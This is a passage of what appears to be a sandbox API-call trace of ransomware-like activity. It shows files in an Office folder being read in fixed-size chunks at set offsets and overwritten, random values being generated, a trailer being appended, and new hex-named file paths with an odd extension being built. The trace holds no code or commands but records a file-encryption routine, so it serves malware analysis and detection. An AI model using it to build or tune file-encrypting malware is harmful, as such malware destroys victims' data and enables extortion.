0x405029df [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x671b3d3f [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x1fb3a6fb [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0xe75716 [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x45ec57d9 [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x6dc77544 [0130.416] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x6457956d [0130.417] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x6361edf7 [0130.417] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x307dfe28 [0130.417] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0xc0f5040 [0130.417] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x37baee45 [0130.417] RtlRandomEx (in: Seed=0x1df6fa30 | out: Seed=0x1df6fa30) returned 0x11bf6dec [0130.428] SetFilePointerEx (in: hFile=0x1a70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.428] ReadFile (in: hFile=0x1a70, lpBuffer=0x202c10f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1df6faa0, lpOverlapped=0x0 | out: lpBuffer=0x202c10f0*, lpNumberOfBytesRead=0x1df6faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.430] SetFilePointerEx (in: hFile=0x1a70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e00 [0130.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6e00) returned 1 [0130.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202e6990 [0130.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e00 [0130.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a66e0 [0130.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a66e0) returned 1 [0130.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.432] WriteFile (hFile=0x1a70, lpBuffer=0x202e6990, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1df6faa0, lpOverlapped=0x0) [0180.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202e6990) returned 1 [0180.060] SetFilePointerEx (in: hFile=0x1a70, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.060] ReadFile (in: hFile=0x1a70, lpBuffer=0x202c10f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1df6faa0, lpOverlapped=0x0 | out: lpBuffer=0x202c10f0*, lpNumberOfBytesRead=0x1df6faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.123] SetFilePointerEx (in: hFile=0x1a70, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f240 [0182.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f240) returned 1 [0182.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2022e130 [0182.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f240 [0182.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f270 [0182.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f270) returned 1 [0182.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.126] WriteFile (in: hFile=0x1a70, lpBuffer=0x2022e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1df6faa0, lpOverlapped=0x0 | out: lpBuffer=0x2022e130*, lpNumberOfBytesWritten=0x1df6faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2022e130) returned 1 [0198.798] SetFilePointerEx (in: hFile=0x1a70, liDistanceToMove=0x3bf60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.798] ReadFile (in: hFile=0x1a70, lpBuffer=0x202c10f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1df6faa0, lpOverlapped=0x0 | out: lpBuffer=0x202c10f0*, lpNumberOfBytesRead=0x1df6faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0199.153] SetFilePointerEx (in: hFile=0x1a70, liDistanceToMove=0x3bf60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0199.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868dc0 [0199.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267050 [0199.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267050) returned 1 [0199.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e500b0 [0199.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267050 [0199.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f90 [0199.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266f90) returned 1 [0199.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0199.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0199.157] WriteFile (in: hFile=0x1a70, lpBuffer=0x41e500b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1df6faa0, lpOverlapped=0x0 | out: lpBuffer=0x41e500b0*, lpNumberOfBytesWritten=0x1df6faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e500b0) returned 1 [0214.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104800 [0214.752] SetFilePointerEx (in: hFile=0x1a70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.752] WriteFile (in: hFile=0x1a70, lpBuffer=0x431f4880*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x1df6fb50, lpOverlapped=0x0 | out: lpBuffer=0x431f4880*, lpNumberOfBytesWritten=0x1df6fb50*=0x158, lpOverlapped=0x0) returned 1 [0218.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0218.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e0f0 [0218.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265d30 [0218.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265d30) returned 1 [0218.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20265d30 [0218.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265d00 [0218.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265ca0 [0218.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265ca0) returned 1 [0218.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 [0218.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0218.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b858f10 [0218.783] sprintf (in: _Dest=0x1b858f10, _Format="%c%c" | out: _Dest="5f") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f12, _Format="%c%c" | out: _Dest="83") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f14, _Format="%c%c" | out: _Dest="ce") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f16, _Format="%c%c" | out: _Dest="fa") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f18, _Format="%c%c" | out: _Dest="b4") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f1a, _Format="%c%c" | out: _Dest="21") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f1c, _Format="%c%c" | out: _Dest="ae") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f1e, _Format="%c%c" | out: _Dest="3d") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f20, _Format="%c%c" | out: _Dest="49") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f22, _Format="%c%c" | out: _Dest="89") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f24, _Format="%c%c" | out: _Dest="8b") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f26, _Format="%c%c" | out: _Dest="f8") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f28, _Format="%c%c" | out: _Dest="35") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f2a, _Format="%c%c" | out: _Dest="9c") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f2c, _Format="%c%c" | out: _Dest="19") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f2e, _Format="%c%c" | out: _Dest="40") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f30, _Format="%c%c" | out: _Dest="b2") returned 2 [0218.783] sprintf (in: _Dest=0x1b858f32, _Format="%c%c" | out: _Dest="68") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f34, _Format="%c%c" | out: _Dest="b8") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f36, _Format="%c%c" | out: _Dest="8e") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f38, _Format="%c%c" | out: _Dest="9f") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f3a, _Format="%c%c" | out: _Dest="de") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f3c, _Format="%c%c" | out: _Dest="07") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f3e, _Format="%c%c" | out: _Dest="5d") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f40, _Format="%c%c" | out: _Dest="98") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f42, _Format="%c%c" | out: _Dest="49") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f44, _Format="%c%c" | out: _Dest="72") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f46, _Format="%c%c" | out: _Dest="66") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f48, _Format="%c%c" | out: _Dest="85") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f4a, _Format="%c%c" | out: _Dest="4f") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f4c, _Format="%c%c" | out: _Dest="68") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f4e, _Format="%c%c" | out: _Dest="2d") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f50, _Format="%c%c" | out: _Dest="89") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f52, _Format="%c%c" | out: _Dest="56") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f54, _Format="%c%c" | out: _Dest="12") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f56, _Format="%c%c" | out: _Dest="1c") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f58, _Format="%c%c" | out: _Dest="88") returned 2 [0218.784] sprintf (in: _Dest=0x1b858f5a, _Format="%c%c" | out: _Dest="44") returned 2 [0218.784] RtlInitAnsiString (in: DestinationString=0x1df6fbc8, SourceString="5f83cefab421ae3d49898bf8359c1940b268b88e9fde075d98497266854f682d8956121c8844" | out: DestinationString="5f83cefab421ae3d49898bf8359c1940b268b88e9fde075d98497266854f682d8956121c8844") [0218.784] RtlAnsiStringToUnicodeString (in: DestinationString=0x1df6fb98, SourceString="5f83cefab421ae3d49898bf8359c1940b268b88e9fde075d98497266854f682d8956121c8844", AllocateDestinationString=1 | out: DestinationString="5f83cefab421ae3d49898bf8359c1940b268b88e9fde075d98497266854f682d8956121c8844") returned 0x0 [0218.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x4310a090 [0218.785] wcscat (in: _Dest=0x4318ba80, _Source="5f83cefab421ae3d498" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\5f83cefab421ae3d498") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\5f83cefab421ae3d498" [0218.785] wcscat (in: _Dest=0x4318ba80, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\5f83cefab421ae3d498.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\5f83cefab421ae3d498.2f9b60" [0218.785] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\5f83cefab421ae3d498.2f9b60", NtPathName=0x1df6fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\5f83cefab421ae3d498.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x42c37890 Thread: id = 1690 os_tid = 0x1bfc [0130.429] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\outllibr.dll.trx_dll")) returned 0x2020 [0130.433] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0130.435] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\outllibr.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a74 [0130.435] GetFileSizeEx (in: hFile=0x1a74, lpFileSize=0x1ed9fac0 | out: lpFileSize=0x1ed9fac0*=226656) returned 1 [0130.435] SetFilePointerEx (in: hFile=0x1a74, liDistanceToMove=0x3755c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.435] ReadFile (in: hFile=0x1a74, lpBuffer=0x1ed9fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ed9fa88, lpOverlapped=0x0 | out: lpBuffer=0x1ed9fa40*, lpNumberOfBytesRead=0x1ed9fa88*=0x4, lpOverlapped=0x0) returned 1 [0130.439] SetFilePointerEx (in: hFile=0x1a74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a66e0 [0130.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6410 [0130.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b20 [0130.439] NtQuerySystemTime (in: CurrentTime=0x1ed9f980 | out: CurrentTime=0x1ed9f980*=132462177356806000) returned 0x0 [0130.439] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x561e036a [0130.439] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x19084332 [0130.439] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x628320ae [0130.439] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x216bcda4 [0130.439] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x700586aa [0130.439] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0xc9c47d9 [0130.439] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x39e93beb [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x34ade22b [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0xd21aeb8 [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x744aae5d [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x254ac7eb [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x7bfd698a [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x443675e7 [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x73fbd37b [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x1f77b7fd [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x2e84b2d6 [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x2a65b3c6 [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x40d84b63 [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x4b4bac4f [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x710a8363 [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0xd42c2be [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x429e1696 [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x32081e87 [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x231839d0 [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x6c8c0b42 [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x5246a756 [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x5509496d [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x7d7f50e0 [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x1a2741cd [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x37083bac [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x3d6b463c [0130.440] RtlRandomEx (in: Seed=0x1ed9f970 | out: Seed=0x1ed9f970) returned 0x2b512f30 [0130.481] SetFilePointerEx (in: hFile=0x1a74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.482] ReadFile (in: hFile=0x1a74, lpBuffer=0x41ee2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1ed9f9e0, lpOverlapped=0x0 | out: lpBuffer=0x41ee2d00*, lpNumberOfBytesRead=0x1ed9f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.486] SetFilePointerEx (in: hFile=0x1a74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a66e0 [0130.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a66e0) returned 1 [0130.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ee6910 [0130.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a66e0 [0130.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b20 [0130.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265b20) returned 1 [0130.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.488] WriteFile (hFile=0x1a74, lpBuffer=0x41ee6910, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1ed9f9e0, lpOverlapped=0x0) [0180.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ee6910) returned 1 [0180.059] SetFilePointerEx (in: hFile=0x1a74, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.059] ReadFile (in: hFile=0x1a74, lpBuffer=0x41ee2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1ed9f9e0, lpOverlapped=0x0 | out: lpBuffer=0x41ee2d00*, lpNumberOfBytesRead=0x1ed9f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.120] SetFilePointerEx (in: hFile=0x1a74, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f210 [0182.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f210) returned 1 [0182.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201a2d00 [0182.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f210 [0182.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f240 [0182.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f240) returned 1 [0182.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.123] WriteFile (in: hFile=0x1a74, lpBuffer=0x201a2d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1ed9f9e0, lpOverlapped=0x0 | out: lpBuffer=0x201a2d00*, lpNumberOfBytesWritten=0x1ed9f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0197.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a2d00) returned 1 [0197.892] SetFilePointerEx (in: hFile=0x1a74, liDistanceToMove=0x33960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.892] ReadFile (in: hFile=0x1a74, lpBuffer=0x41ee2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1ed9f9e0, lpOverlapped=0x0 | out: lpBuffer=0x41ee2d00*, lpNumberOfBytesRead=0x1ed9f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.896] SetFilePointerEx (in: hFile=0x1a74, liDistanceToMove=0x33960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b920 [0198.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b920) returned 1 [0198.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420ec5b0 [0198.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b920 [0198.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b950 [0198.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b950) returned 1 [0198.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.900] WriteFile (in: hFile=0x1a74, lpBuffer=0x420ec5b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1ed9f9e0, lpOverlapped=0x0 | out: lpBuffer=0x420ec5b0*, lpNumberOfBytesWritten=0x1ed9f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0213.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420ec5b0) returned 1 [0213.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f8a0 [0213.899] SetFilePointerEx (in: hFile=0x1a74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.899] WriteFile (in: hFile=0x1a74, lpBuffer=0x1ceb9010*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x1ed9fa90, lpOverlapped=0x0 | out: lpBuffer=0x1ceb9010*, lpNumberOfBytesWritten=0x1ed9fa90*=0x15a, lpOverlapped=0x0) returned 1 [0216.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced16b0 [0216.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a040 [0216.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef50 [0216.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef50) returned 1 [0216.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x204fef50 [0216.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe590 [0216.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5c0 [0216.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe5c0) returned 1 [0216.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a040) returned 1 [0216.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced16b0) returned 1 [0216.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1ced5920 [0216.675] sprintf (in: _Dest=0x1ced5920, _Format="%c%c" | out: _Dest="45") returned 2 [0216.675] sprintf (in: _Dest=0x1ced5922, _Format="%c%c" | out: 